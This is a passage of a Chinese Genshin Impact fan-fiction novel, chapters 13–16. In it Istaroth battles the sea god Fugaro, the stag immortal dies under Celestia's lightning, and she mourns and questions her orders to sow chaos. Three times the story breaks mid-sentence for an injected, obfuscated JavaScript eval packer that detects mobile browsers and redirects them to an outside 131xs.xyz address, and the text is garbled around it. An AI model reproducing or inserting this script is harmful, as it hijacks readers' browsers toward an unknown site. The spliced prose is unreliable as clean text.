“大人,既然你只想要更多卑劣者存活的空中楼阁,那就把被牺牲掉的她还给我吧。”
伊斯塔露却后退一步,抱紧了怀中的少女:
“不,她不会有事的,我有办法,我有办法……”
她轻轻摸了摸吴忧的发旋,低声道:
“吴忧,你不会死的,不会的。”
随后,细碎的星光在她指间绽开,渐渐环绕住了已无生气的吴忧。
繁芜古朴的阵法在伊斯塔露脚下浮现,指针倒旋的“嘀嗒”声自虚空中回响。
伊斯塔露用了「时之执政」的权能,想要倒流吴忧这具躯体的时间——在这条生命归「死之执政」所管辖前,让她毫发无损地回来。
然而一缕海蓝色的元素力却悄然混入星光中,随即炸开,将伊斯塔露的法阵生生毁去。
救人的法阵被外力打断,伊斯塔露抱着身躯冰冷的吴忧,抬起头,咬牙切齿道:
“弗加洛,为何阻止我?!”
海之魔神弓起身,擦去嘴角因为强行干扰伊斯塔露而被反噬喷出的鲜血。
随后,弗加洛抬起头盯着伊斯塔露,目光幽寂。
“大人,吴忧不是被凌虐致死的,她是自尽的,今夜以后,她对生命已经失去了最后的期冀。”
“您还记得她和您说的最后一句话是什么吧,还要唤她回来受苦吗?”
“她是自尽的……”
伊斯塔露闭上眼,喃喃重复了一遍弗加洛的话,颓然地跪倒在地。
她任由弗加洛接过了吴忧已然冰冷的躯体,眼前却闪过吴忧身着婚服等待着神明救她离开苦海时的模样。
那时候,木讷而枯瘦的少女,眼里还有期冀而坚定的光。
可正是吴忧信任的神明,她,伊斯塔露,她的冒失和对人性盲目的信任,让吴忧再次被凌辱到选择自尽。
弗加洛将吴忧的遗体用鲛绡裹好,正欲开口,远处的喧嚣声却先他一步:
“大伙扛好家伙!去找那男的算账!他算什么玩意,刚抢走吴忧那个小贱人!”
“我就说那个小婊子不安分!她不知道自己是先给海神大人的吗?居然敢勾结外人?!”
海滩上的四人循声望去,是一群拿着锄头和斧头、叫嚣着朝他们奔来的村民。
村民中也有人眼尖,看清了跪坐在地的伊斯塔露,指着她大呼:
“是和吴忧关在一起的小婊子!也别放过她,把她扒了继续游行!”
甚至已经有人发出嚣张的□□声。
始终站在伊斯塔露身边的魈闻言,面覆寒霜,攥紧了手中的长枪。
若是那些村民当真不长眼,他也未必留情。
伊斯塔露本人却对此充耳未闻。
她无比茫然。
从伊斯塔露有记忆起到现在,不过短短数月,而人类于她而言,是孱弱而奇妙的生灵。
他们弱小到连魔物都难以抗衡,可他们守护家园的意志强大到能抗衡魔神的力量。
这是伊斯塔露所见到的,归离集的人类。
伊斯塔露也曾听闻人类自私恶劣,只是她从未想到,同样是人类,有人也能卑劣下流至此。
偏偏也确实也是人性。
那所谓的“神爱世人”,也包括这些罪大恶极又卑鄙愚昧的人吗?
爱护他们有什么意义?这何尝不是一种维护作恶?
伊斯塔露茫然而痛苦地长跪在地。
弗加洛眯了眯眼,厌恶地看着那些村民,他身后,海中的浪潮再次翻涌着抬高,拍打在岸上时激起大片碎白。
弗加洛俯视着一脸颓然的伊斯塔露,轻嗤一声:
“这一次,您不会阻止我了吧?”
“放下您那盲目溺爱人类的仁慈,那些毫无人性可言的渣滓,死不足惜。”
在伊斯塔露长久的沉默中,弗加洛扬起一只手,波涛在寒月下卷起千堆碎雪。
海潮张牙舞爪地扑向渔村。
卑鄙盲目的人类在近在咫尺的天灾面前,终于露出了胆怯的面目,开始惊慌失措地四处奔逃:
“海水,海水涨起来了!快逃啊!”
“滚蛋,老不死的别挡老子的路!活腻歪了老子先踩死你!”
“从他身上踩过去啊!死几个人又怎样……哪个天杀的踩我?!”
“看啊,”弗加洛讥讽地笑了,“即使最后都得死,他们也会不遗余力陷害别人,哪怕只是多活一秒。”
在浪潮扑打到最末尾的村民的前一刻,灿烂的华光再次升起,海潮顷刻间停滞,随即退回海面,不留一丝痕迹。
“弗加洛,我不认可你为了几个人而杀死所有人的行为……无论是什么样的人。”
“他们需要的是教育和律法。”
“他们理应由律法量刑,为自己选择的恶行负责,而不是因为神明的雷霆之怒而无法选择自己的生命。”
伊斯塔露抬头,盯着弗加洛,一字一句地道。
她与海之魔神长久地对峙着。
弗加洛难以置信地看着伊斯塔露,恨恨道:
“……愚善!”
“并非愚善,”一旁的魈蹲下身,扶起了伊斯塔露,“由自己的喜怒决定他人的性命,海之魔神,你与那些人类无异。”
魈微微蹙眉,和弗加洛对上视线。
他清冷的声音因为月光镀了一层寒气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936200|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却也坚定不移。
其实他不能确信伊斯塔露这个选择是否是愚善——
但如果放任海之魔神如此,伊斯塔露和那些村民、和夜叉之主又有何异?
放任自己的喜怒,滥用生杀予夺的权力,无论口号是否正义。
而正是伊斯塔露从夜叉之主手中救下了他,所以魈选择相信她。
站在一旁久久未曾开口的移霄导天真君也慢悠悠地点了点头:
“好魔神可没有随意决定他人生死的习惯。”
“既然如此,我,海之魔神弗加洛于此,”弗加洛寸步不让地再次召出海潮,“向你们身后的魔神宣战。”
“如今,由你们祭我军旗——这就是你们要守护一群渣滓的代价。”
弗加洛的话是对魈和移霄导天真君说的——他无法和伊斯塔露抗衡,却不会放过剩下两个要阻止他的人。
蛰居海中多年的海之魔神,终于选择了宣战。
“这件事情,”弗加洛有些忌惮地看了一眼伊斯塔露,“您应该不会掺和吧?”
伊斯塔露瞥了弗加洛一眼,没回答,反而是把归终给她的轻弩塞到魈手里:
“魈,你和移霄真君快走,去找帝君来,我来拖时间。”
“归终和留云真君做的弩给你们防身。”
弗加洛:?
弗加洛气得想笑,他扬起波涛,想要拦住尚且犹豫的魈,偏偏慢了一步——
移霄导天真君已经化作鹿形,拉着魈跑出数十米开外。
不仅是弗加洛,伊斯塔露的表情也有些一言难尽。
这移霄导天真君跑太快了吧?之前不是还说有事他来扛的吗?!
不过这对伊斯塔露来说也是好事,这样动手的话便不用隐藏能力了,她轻轻吐出一口气,和一身煞气的弗加洛对视:
“阻止你是我的选择,所以还是我来和你打吧,不必为难摩拉克斯麾下的仙人。”
“您引诱厄歌莉娅犯下大罪时可不像这样道貌岸然,”弗加洛不留情面地讥讽道,“我自知不敌您,但也绝不会让您毫发无损。”
“伊斯塔露大人,请赐教。”
弗加洛没再留手,滔天的巨浪顷刻间卷起,呼啸着扑向伊斯塔露。
随着海潮而起的狂风将她的斗篷吹得猎猎作响,惊涛骇浪间,伊斯塔露岿然不动,她身后的渔村亦是安然无恙。
“嘀嗒”,指针旋转的声音在虚空中响起,海潮被静止在半空——却不如之前那样稳定,水流隐隐躁动着,似乎想要扑下去毁灭一切。
弗加洛在竭尽全力抗衡伊斯塔露对时间的控制。
却没发现伊斯塔露从自己身后闪出。
“咻”,长剑破空的声音响起。
弗加洛冷汗涔涔地躲过了伊斯塔露那一剑,同时也挣脱了她权能的束缚。
一重接一重高的海浪即将落下,伊斯塔露不得不分心再开阵法倒转海浪,便被弗加洛抓到了空隙。
海之魔神一闪身,逼近了她。
伊斯塔露不以为意,将长剑换到左手,打算硬接弗加洛这一下。
“叮——”
金属碰撞的声音响起,伊斯塔露却没有感觉到任何压力——
迅疾的冽风呼啸而过,戴着傩面的少年仙人手持泛着青光的长枪,挡在了伊斯塔露面前。
“魈?你怎么没走?”
伊斯塔露惊讶地看着那道清瘦的背影。
“伊露大人,我不会抛下您。”
如水的月光下,魈淡淡地回头看了她一眼。
14. 人间一梦(十四)
说实话,魈会留下来,伊斯塔露还是挺感动的。
但她又觉得哪里不对。
——她伊斯塔露也不是打不过海之魔神,断后又不是想牺牲自己。
不过想想也是,之前她单挑沙克斯未遂,最后让摩拉克斯收的尾,魈应该也理所当然地认为她只是普通的仙人。
所以才说不会抛下她。
……太乌龙了,伊斯塔露叹了口气,打算速战速决。
她把长剑从左手抛到右手,掠身迎向弗加洛。
下一刻,剑刃破空的声音响起,眼见剑身剔透的长剑就要刺穿弗加洛的胸膛,伊斯塔露却被一阵疾风打断了动作。
伊斯塔露被人扣着肩膀半抱半拉地远离了弗加洛。
伊斯塔露下意识用手肘敲对方的太阳穴,眼角余光却瞥见那阻止自己的人是魈。
“……魈?”
伊斯塔露还是收了手,任由魈带着她躲到远处的礁石上。
对她而言,打败弗加洛只是时间问题,伊斯塔露更想知道魈要做什么。
“咻——”二人刚退开十数米,数支箭矢便从不远处向弗加洛飞来。
弗加洛抬起手,水球凭空诞生,包裹住了大部分流矢,他本人却因为伊斯塔露的响指声而身形一滞,被最后一支箭射中——
其力道之遒劲,竟然直直贯穿了弗加洛的琵琶骨。
伊斯塔露顺着箭矢的来处望去。
化为人形的移霄导天真君站在渔村最高的屋顶上,缓缓放下了手中的轻弩。
宛如白骨雕成的箭矢贯入海之魔神体内,随即爆开,化作遮天蔽日的扬尘,将弗加洛束缚得动弹不得。
这是尘之魔神哈艮图斯的权能。
也是归终对可能发生的争斗上的保险。
伊斯塔露福至心灵,振袖捻诀,同海之魔神出现时一样的巨大漩涡霎时出现在海面,碎浪盘旋着将海潮和暂时被束缚的弗加洛一同吸入其中。
如何来,如何去。
灿金色的法阵缓缓镇于海平面,为暂时封印海之魔神落下最后一笔。
伊斯塔露吐出一口气,朝魈和赶过来的移霄导天真君点点头:
“真君,魈,我借哈艮图斯大人的力量暂且把弗加洛镇在海下了,大约能有半个月的时间,届时……还要请帝君亲自解决。”
伊斯塔露可以永久镇压弗加洛,但没必要——
且不论「天理」那玩意说不准就躲哪看着,也不必让魈和移霄导天真君知道她能正面硬刚弗加洛。
本来弗加洛那句“伊斯塔露大人”就已经留了后患了。
所幸同样回头帮了伊斯塔露一把的移霄导天真君也没有追究她身上的疑点,只是说尽快回归离集回报帝君。
魈垂着眉眼,暗暗瞥了伊斯塔露一眼,却也没说什么。
一行三人无言地沿着蜿蜒曲径走回归离集,路上只有移霄导天真君时不时开口唠嗑两句,伊斯塔露和魈都有些黯然无神。
二人同样茫然。
即使选择阻止弗加洛的行为,伊斯塔露依旧不能肯定自己做的是否正确。
渔村的村民即使丑恶至此,她也觉得他们不该在弗加洛的怒火下死去。
可到底该由弗加洛还是律法判处他们真的有区别吗?
吴忧更是无辜的,渔村里因为祭祀被牺牲的那些少女同样不该死。
或许她真的如同弗加洛所说的,天生带着高高在上的视角俯视人类,所以从未曾理解苍生苦楚。
还害死了一个一直想救她的姑娘。
魈也不知道伊斯塔露的选择是否正确。
太过绝对的不偏不倚真的谈得上一视同仁么?
他不纠结是否爱人的问题,但是也绝对不想害人性命。
移霄导天真君见二人都难以解开心结,笑着叹气:
“唉,你们两个年轻人,不要啥事都往自己身上揽啊。”
“别听那海神说什么愚善聪明善的,小伊说的没错啊。”
伊斯塔露和魈的视线一同落在移霄导天真君身上。
在归离集,移霄导天真君在资历上称得上是二人的前辈,同样,他经历的事也比二人多了不少——
只有他始终不曾被弗加洛的质问影响。
“海之魔神说得好听,一口一个反问,道德谴责他人,他真怜悯人类怎么做不到帝君一样?偶尔心血来潮收留几个人,从来都不能从根本上解决问题。”
“而且无论我们出不出现,被献祭的人都不能得到好的结果,悲剧从来都不是一个人两个人的,而是那一整个渔村的——对神明盲目的信任,而忽视了自己身为人类的力量。”
“归离集能有今天的繁荣,靠的从来都不只是帝君外辟疆土。”
“无论是哈艮图斯大人的教诲,马科修斯大人的帮助,还是人类自己的生生不息,都是成就今天的砖瓦。”
“我们归离集所有人,都一起走在向往和平的道路上,这点大家都清楚,所以没有所谓的高高在上,更没有人用这个词去谴责别人。”
“我们为什么要被所谓命运束缚?为什么要被‘魔神爱人’‘仙人护人’的谴责绑架?去他的吧!”
“现在的一切都是大家一起争取来的!”
“总之呢,咱也没有义务牺牲自己成全他们的‘大义’,还要被人指着鼻子骂,是吧?”
移霄导天真君用力拍了拍两人的肩膀:
“好了,你们两个小家伙,都不准哭丧着脸了,走,我们回归离集,把这个情况跟帝君说,然后都休息几天,这事让帝君头疼去。”
随后,移霄导天真君不由分说地推着二人往前走,完全不给人拒绝的机会。
魈和伊斯塔露对视一眼,都叹了口气。
但移霄导天真君说的确实切中了要害,原本各自有些心结的二人都释然了些。
等走到能看到天衡山的地方时,伊斯塔露也终于想清楚了,她向移霄导天真君笑笑:
“谢谢真君,我……”
话音未落,山石崩落的轰鸣从天衡山的方向传来。
“这是……?”魈眼尖,率先看清了情况,蹙起了眉,“天衡山要塌了。”
“天衡山塌了?”这下饶是移霄导天真君也变了脸色,“不好,我们赶回去!想入侵归离集的大蛇最近就盘桓在天衡山一带。”
余下二人闻言,二话不说跟上了移霄导天真君,三人风风火火地往天衡山的方向赶。
等到速度最快的魈赶到时,天衡山的半山腰已经被撞出了一个大坑,无数碎石从山上滚落,山脚有千岩军打扮的人类正在疏散住在山下的人群。
魈本想下去搭把手,却觉身后一阵罡风扫过,一道阴冷的目光锁在他背后。
魈几乎是不假思索地身影一闪,躲闪到一旁的树林中,与此同时,巨大的蛇尾抽向他原来站定的地方。
魈回过头,看见如山岳高的巨蛇缓缓收回了自己的尾巴,正虎视眈眈地看着天衡山。
一直没有动作的奥罗巴斯终于趁着摩拉克斯在海上应付八虬时向北入侵归离集了。
见没能打到魈,奥罗巴斯不满地发出“咝咝”声,再次甩出蛇尾,狠狠抽打在天衡山的山脚。
刹那间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936201|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,尘土飞扬,碎石满地,本就摇摇欲坠的天衡山是否坠毁更是悬在瞬息之间。
见状,魈毫不犹豫地闪身加入了救人的队伍。
可是,救人的队伍再快也快不过灾难来临的脚步。
在魈背着幼童,把长枪掷出,击碎了东边落下的巨石后,西边猝不及防又是一块巨石滚下,直直滚向一名步履蹒跚的老人!
“陈婆婆!”
眼看巨石要压上老人,魈背上的幼童哇地一声哭了。
随后却没有岩石碾过血肉的声音。
变回鹿形的移霄导天真君用自己的鹿角顶开了对凡人而言的灭顶之灾。
魈才舒了一口气,却见整座天衡山更加剧烈的晃动起来——本就难以支撑的天衡山,因为奥罗巴斯甩出去的那一尾巴,已经岌岌可危了。
高山倾倒,正在此时。
“伊露!”移霄导天真君喊了一声正和奥罗巴斯对峙的伊斯塔露,“天衡山要塌了,快把我的角砍下来填进去!”
“真君,还会有办法的。”
伊斯塔露手执长剑,轻描淡写地挥向奥罗巴斯,剑气在蛇身上留下一道醒目的伤痕。
她没有答应移霄导天真君。
“来不及了!我的角是帝君亲赐,填到山脚便能稳住这天衡山!”
移霄导天真君一闪身来到伊斯塔露面前,将头顶的鹿角伸入剑下。
“快!”移霄导天真君听上去没有丝毫犹豫,“快砍下来,要不然山下的人会死的!”
之前说着没有义务牺牲自己、不被“仙人护人”绑架的移霄导天真君,要伊斯塔露砍下自己的鹿角时,决绝而坚定。
“不,真君,容我拒绝。”
“我说了,我有办法的。”
伊斯塔露却干脆利落地收剑回鞘,不再理会被她剑气砍得原地翻滚的奥罗巴斯。
她不想砍下移霄导天真君的鹿角,因为搞事指南里记载了这件事。
移霄导天真君为了保护人民,请人砍下自己的鹿角,去填补即将被魔神撞塌的天衡山。
最后,他顶着一头鲜血,力竭,战死。
这也是摩拉克斯故人离散的一环,本该是伊斯塔露要促成的事情。
可是伊斯塔露不想如此了。
就像移霄导天真君本人所说,凭什么她要被命运束缚?凭什么要遵从「天理」的意志?
她今日就是违背天理又如何?
伊斯塔露远远注视着摇摇欲坠的天衡山,眼底焕发出金芒。
这一次,她指间的星辰比以往任何一次都要多。
群星自伊斯塔露手中纷纷扬扬地飘落,一部分盘旋着托起落下的山石,另一部分则汇入山体,填补缺漏的岩石,重新支撑起将要倒塌的天衡山。
即将倾倒的高大山峦,在「时之执政」的权能下,也不过是能回溯的事物而已——
偏偏晴空之上,两道毫无征兆的惊雷劈下。
伊斯塔露的直觉告诉她,这两道雷,来自高天之上的,「天理」。
两道惊雷,一道落在即将重塑完成的天衡山上。
原本稳下来的山体比之前更加摇摇欲坠,山下舒了一口气的人们再次慌张得开始逃窜。
另一道落在伊斯塔露身边的移霄导天真君身上,愣是贯穿了他的身体。
神鹿四肢一软,跪在了半空中。
鲜血流尽的前一刻,移霄导天真君还呆呆地看着伊斯塔露,说出了最后的遗言:
“伊露,砍下我的角……咳咳,填天衡山……”
“天衡山不能倒……要保护,山下的人……”
15. 人间一梦(十五)
移霄导天真君就这样死在了伊斯塔面前。
灵鹿的形体随着灵魂湮灭,留下的只有摩拉克斯的赐予他的、坚如磐石的一对鹿角。
伊斯塔露怔怔地拾起岩元素凝成的鹿角,其上盘旋的纹理隐隐散发出暖色的光泽。
让伊斯塔露想起移霄导天真君安慰她和魈时的笑容。
鹿角终于还是被她垫入了天衡山脚,将倾的高山霎时稳固下来,甚至比以前高了百余丈。
可伊斯塔露不能释怀。
明明那些令人闻风丧胆的魔神,对她而言都不过尔尔。
可她的反抗在「天理」的意志面前,依旧不值一提。
她为什么会阻止不了这道雷落下?明明她能够停滞时间。
是因为她身为「天理」的影子,所以也无法反抗祂,反抗她力量的来源?
伊斯塔露咬紧了后槽牙。
……可她那本笔记里明明不是这么写的,移霄导天真君应该是死于和魔神的缠斗。
他本该死在走向愿景的长路上,而不是死于无故落下的神罚。
伊斯塔露抬起头,死死地盯着高天之上那落下惊雷的雷云,眼眶泛红。
肆意妄为,草菅人命,那便是有记忆起就追在她身后的、不可一世的阴影,「天理」。
“天理……”
伊斯塔露眯着眼仰望高空,忽然叹了口气,神色平静下来:
“我明白了。”
“除了合您心意地搅浑水,我身为影子,没有资格干涉您养的蛊虫之间的厮杀,对吗?”
“移霄导天真君的死,是您对我的提醒。”
伊斯塔露话音刚落,天上传下几声隐约的雷鸣,随后乌云散去。
像是对伊斯塔露识时务的肯定。
伊斯塔露自嘲地笑了,她眼眶泛着红,眼底却锋芒毕露。
天理,天理,这个世界的秩序……如此荒谬!
似乎就像那本笔记里所说的,那些生灵离去的命运,无法更改,因为「天理」要那些生命去死。
伊斯塔露沉默着。
不远处的大蛇好不容易忍住了伤口的疼痛,聚起攻势,张着血盆大口重新扑来。
伊斯塔露闭上眼,拔剑朝奥罗巴斯的方向随手挥出一道剑气。
剑气透着寒芒,光华犹如伊斯塔露初醒时的孤寒月光,却以目不能及的速度荡向奥罗巴斯。
剑光抵达之前,原本张牙舞爪想要殊死搏斗的魔神忽然浑身一震,霎时向南溃逃。
伊斯塔露只是轻飘飘地瞥了一眼祂离去的方向。
奥罗巴斯这次进攻没下死手,她没有必要赶尽杀绝,也没有心情。
这件事还是让摩拉克斯去解决吧。
至于她自己……伊斯塔露最后敛起了眉眼,朝赶到她面前的魈微微点头:
“魈,回归离集吧。”
“嗯,走吧,伊露大人。”
魈也垂着眼,他的眉目清皎如初,神色却沉郁哀恸。
这是归离集对战魔神取得的最轻易的一场胜利,却并没有比之前让伊斯塔露轻松多少。
毕竟她不是真正活了上千年的魔神,空有身为时之执政的能力,却没有神明那样坚韧的心。
自她失去记忆到行走人世至今,不过只有短短几月。
这是伊斯塔露第一次看着熟悉的同伴死在眼前,还是因为她。
.
听完弗加洛的情报和移霄导天真君的讣告,归终和摩拉克斯似乎都有一瞬间的沉默。
最后,归终笑着用宽大的白袖拍了拍伊斯塔露的肩。
“我们知道啦,接下来的交给我们就好哦,你们辛苦啦。”
归终看向面不改色的摩拉克斯:
“摩拉克斯,让伊露和魈休息几天吧?”
“自然,你们也辛苦了。”
摩拉克斯微微颔首,他的目光扫过伊斯塔露,鎏金的眼中锋芒依旧,看不出喜怒。
魈在摩拉克斯面前毕恭毕敬,见二神没有再嘱咐什么的意思,便自请退下。
伊斯塔露还不声不响地站在原地。
“伊露,你还有事么?”
反倒是摩拉克斯先开口询问她。
“帝君,归终,移霄导天真君的事……最后要如何处理?”
“移霄导天真君为苍生而死,理当厚礼而葬,只是此时正值战争时期,不易劳民伤财,我和归终便择日与众仙人送他一程。”
摩拉克斯看似心平气和地陈述着,甚至连语气都没有什么起伏。
甚至不仅摩拉克斯岿然不动,归终也不觉有疑,安慰般朝伊斯塔露笑了笑。
伊斯塔露蹙着眉将两位魔神打量了一遍,才自暴自弃般叹了口气,开口:
“帝君,归终,你们真的不觉得蹊跷吗?明明我和魈毫发无损,移霄导天真君却……”
摩拉克斯似乎极轻地叹了口气,略略错开伊斯塔露探寻的目光。
归终则把伊斯塔露刚刚交还的轻弩再次放入她手中,笑着摸了摸她的头:
“嘘,天机不可说。”
“移霄导天真君死前也没有给我们留下任何信息,说明他确实是死得其所的,伊露伊露,你不要太难过,你们平安他也会很高兴的。”
“他会在星空中看着归离集走向未来的。”
“移霄导天曾说‘何须马革裹尸还’,今日既是如此,青山埋葬忠骨也并无不可——我们未曾辜负他的一腔热血便好。”
摩拉克斯不紧不慢的声音也随之响起,难得带了些叹息般的情绪。
这两位都在安慰伊斯塔露。
那是归离集两位魔神对移霄导天真君死前意志的尊重,也是二人对伊斯塔露的网开一面。
谁都没有追究这件事。
伊斯塔露苦笑了一声,朝两位魔神点点头,离开了这两位议事的居所。
转身时,她看见一抹苍青的身影站在月下的高崖上,在料峭的夜风中显得孤苦伶仃。
是魈。
一身寂寥的降魔大圣一如既往地守望着归离集。
伊斯塔露深深地吸了一口气。
这件事情,好像谁都释怀了。
唯有知晓真相的她不能释怀——
她不接受这样的命运,不接受「天理」划定的一切。
.
后来移霄导天真君的白事,所有仙人都到齐了,有伊斯塔露在宴席上见过的仙人,也有她素未谋面、从前线匆匆赶回来的仙人。
无一例外的是,没有人失态,没有人哭得肝肠寸断。
所有仙人庄重而肃穆地对移霄导天真君的衣冠冢致以敬意,就如同当初,众仙家对死去的千岩军一样。
或许魔神强大,或许仙人高傲,或许人类渺小——
但在这条于魔神战争中争取天下和平的道路上,归离集的所有人都站在一起,都没有什么不同。
他们也坚信移霄导天真君死得其所。
最后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936202|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,摩拉克斯将一壶浊酒洒在衣冠冢前的土地上。
浊酒一杯家万里,移霄导天真君再也不会回到那绝云间。
“我移霄导天追随帝君,征战了这些年,若有一日死在战场上,何求马革裹尸还?”
“就让这巍巍天衡,埋我的尸骨吧,哈哈哈哈哈……”
移霄导天真君如此说过,最后的归宿也是如此。
送别了移霄导天真君后,许多仙人再次赶往对抗魔神的前线,其余人也各有安排,伊斯塔露是少数得闲的仙人。
她沉默着走下山,却在稻田边被人拦住。
是曾留伊斯塔露和魈吃饭的那个妇人。
妇人提着食盒和酒壶,红着眼眶,朝伊斯塔露点了点头:
“小仙人,我丈夫喊我替他祭拜移霄导天真君。”
“那人哦,特地匆匆忙忙回来做了一顿饭,还挖出了埋在院子里的酒,千叮咛万嘱咐我要送到仙人的墓前。”
妇人说着,腾出一只手抹了把眼泪:
“他说这真君死的时候,他看着呢,他没撤走山下所有的人,真君才拿命垫起了天衡山,他没脸来见仙人。”
“然后他又死倔地跑去前线了,说要亲手打那撞了天衡山的魔神,给真君报仇。”
不是的,移霄导天真君不是这么死去的,如果不是她无能为力却又妄图违逆天理,移霄导天真君至少不会死在天雷下,伊斯塔露心说。
她垂下眼,有些不敢和这位妇人对视。
“小仙人,战争真的会结束吗?还会死人吗?”
妇人哀哀地看着伊斯塔露。
伊斯塔露哑然,她也不知道。
甚至,她在归离集的使命还是搅混水,害死摩拉克斯的友人,让他精神崩溃。
可笑的是,最不能接受移霄导天真君死亡的人里,就有她。
沉吟许久后,伊斯塔露才一字一句地和这名妇人保证:
“……夫人,抱歉,我无法保证是否还会有人死去。”
“但是您丈夫期待的、移霄导天真君期待的、归离集所有人都期待的黎明,一定会到来的。”
“一定会的。”
.
接下来的十几日,伊斯塔露都闭门不出。
她反反复复翻阅着那本“搞事指南”。
伊斯塔露还记得最开始那个声音告诉她的话。
——杀死「天理」,她有机会杀死天理的。
通过完成这本指南里的内容,附和「天理」的动作,实则取得世界的权柄,杀死「天理」,登临高天的王座。
这是伊斯塔露第一遍完完整整看完这本笔记——它贯穿了伊斯塔露遗忘的过去和并未实现的将来。
虽然简略,每一个行为却都足够影响一方形势,也能让伊斯塔露从中牟利。
——只是也残忍异常。
最后,伊斯塔露的指尖停留在第一页的七个字上。
“用轻弩杀死归终”。
伊斯塔露缓缓闭眼。
杀死天理的前提是杀死归离集的神明归终,可她想要杀死天理却正是想要归离集的所有人挣脱天理给予的命运枷锁。
如此讽刺。
伊斯塔露苦笑着合上了笔记,心情复杂地叹息。
偏偏有人在此时敲响了屋子的门:
“伊露,你可在屋中?”
“若是无事,便随我去天衡山走走吧。”
不容置喙的语气,是摩拉克斯。
16. 人间一梦(十六)
你帝君就是你帝君,明明是邀请,也能说出一种“不答应就给你食岩之罚”的气势。
伊斯塔露很想说没空,但看摩拉克斯这个语气也不像是允许她没空的样子。
“……呃,我有空,帝君您稍等,我马上出来。”
伊斯塔露把古旧的笔记塞回抽屉内,披上她的斗篷,推开了居所的门。
多日闭门不出让伊斯塔露难以适应倏然的阳光,她不适地眯起了眼,朦胧间看见屋内积起的薄灰在阳光下浮动。
摩拉克斯在门外逆光站立,他一身白袍繁复庄重,金眸灿若荒星,看上去凛然不可侵犯。
见门被推开,他垂眸瞥了伊斯塔露一眼,微微颔首。
看摩拉克斯这模样,伊斯塔露觉得他不像在邀她去天衡山走走。
更像要找个没人的地方把她嘎了。
但摩拉克斯毕竟不是「天理」,应该也没有那么喜怒无常。
想到天理,伊斯塔露微不可查地蹙了蹙眉,缓缓呼出一口气。
“如何,心情不好么?”
摩拉克斯突然开口,把伊斯塔露问得怔了怔。
她以为自己应该藏得挺好的。
伊斯塔露垂下眼帘,在摩拉克斯面前遮掩住了眼中的情绪:
“算是吧。帝君,这是我第一次见熟识之人牺牲,总觉得很恍惚。”
伊斯塔露这话说得半真半假,勉强应付了摩拉克斯的问题。
不只是不能接受熟识之人的死亡,而是不接受天理以权柄肆意决定尘世中人的生死。
「天理」未曾见这世间满目疮痍和苍生苦楚,祂不配。
但这个就没必要告诉摩拉克斯了。
“的确令人叹惋,”这话似乎让摩拉克斯也有些感慨,“有许多故人,我如今也无法再见了。”
怀念故友的惆怅柔和了摩拉克斯的眉眼,威仪的帝君
“但他们不会后悔献身于这,他们的愿景也一定会变成现实。”
伊斯塔露也只能如此宽慰他。
她也希望这是真的。
十年饮冰,难凉热血。归离原那千万人托举起的愿景,本不该被「天理」那养蛊一般的乐趣所践踏。
“唉……自然如此。”
摩拉克斯叹息过后,话里又是势在必得的坚定。
伊斯塔露觉得没必要再接话了,摩拉克斯也没继续说,于是两人开始大眼瞪小眼。
气氛变得微妙起来了。
这下他满意了吧,天聊死了,他这个古板无情的人。
伊斯塔露无奈地移开了视线,叹气。
她从看到摩拉克斯第一眼就觉得自己和这严肃古板的哥们合不来。
散什么步啊,是吧帝君,还两个人散步,像这样杵着不尴尬吗?
她敬佩摩拉克斯心怀苍生的气度,但是实在不觉得自己会和这位威严锋利的帝君大人成为友人。
她甚至觉得哪怕魈那种性格都比摩拉克斯好相处多了。
伊斯塔露觉得,也只有归终那种活泼又温柔的性格,才能和摩拉克斯共事……或者是马科修斯那种大布偶熊。
“咳,”还是摩拉克斯轻咳了一声,先让步了,“随我走吧。”
伊斯塔露从善如流,跟上了摩拉克斯。
但她还是活动了一下手腕,做好了应对摩拉克斯突然出手的准备。
毕竟摩拉克斯此举着实奇怪——明明现在魔神战争打得火热,摩拉克斯也不是闲人,哪来的时间特意找一个“普通仙人”散步?
想来摩拉克斯也没忘记她的来历不明。
虽然目前来看,这位帝君光明磊落,但万一他真不介意偷偷杀人灭口呢?
不能不防,不能不防。
和摩拉克斯离开归离集时,路上的行人纷纷向二人行礼致敬。
他们对摩拉克斯的态度,反而比伊斯塔露轻松些——虽然敬畏,但也是发自内心地爱戴着他。
以至于伊斯塔露也收到了许多敬仰的目光。
想想自己接下来可能要做的事,伊斯塔露自觉担不起这样的敬佩,她不动声色地往摩拉克斯身后躲了躲。
摩拉克斯似乎也感觉到了,灿若荒星的金眸不置可否地瞥了她一眼。
但也算是默许了。
直到二人走到天衡山的半山腰,路上才不见人烟。
伊斯塔露拨开横在眼前的树枝,抬头看着前面风轻云淡负手而行的摩拉克斯,忍无可忍,开口:
“帝君,您带我来天衡山,是有什么话不便在归离集说吗?”
